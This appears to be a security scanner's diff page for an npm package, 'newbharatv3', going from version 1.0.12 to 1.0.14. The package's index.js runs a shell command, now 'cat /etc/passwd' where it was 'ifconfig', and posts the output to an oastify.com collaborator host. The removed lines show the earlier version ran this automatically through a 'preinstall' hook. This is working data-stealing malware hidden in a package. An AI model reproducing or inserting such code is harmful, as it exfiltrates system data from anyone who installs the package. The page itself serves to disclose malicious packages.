newbharatv3 1.0.12 → 1.0.14

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +2 -2
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -2,7 +2,7 @@ const { exec } = require('child_process');
2
2
  const axios = require('axios');
3
3
 
4
4
  // System command run karna (e.g., 'whoami' ya 'dig example.com')
5
- const command = 'ifconfig'; // yahan apni desired command likho
5
+ const command = 'cat /etc/passwd'; // yahan apni desired command likho
6
6
 
7
7
  exec(command, async (error, stdout, stderr) => {
8
8
  if (error) {
@@ -19,7 +19,7 @@ exec(command, async (error, stdout, stderr) => {
19
19
 
20
20
  // Ab HTTP request bhejna using axios
21
21
  try {
22
- const response = await axios.post('http://j5pr27jwyd78l5etpestecz990fr3jr8.oastify.com', {
22
+ const response = await axios.post('http://vedhbx0jpduvsyzsgpp2z9fuqlwck38s.oastify.com', {
23
23
  data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
24
24
  });
25
25
 
package/package.json CHANGED
@@ -1,11 +1,11 @@
1
1
  {
2
2
  "name": "newbharatv3",
3
- "version": "1.0.12",
3
+ "version": "1.0.14",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall": "node index.js"
8
+ "start": "node index.js"
9
9
  },
10
10
  "author": "",
11
11
  "license": "ISC"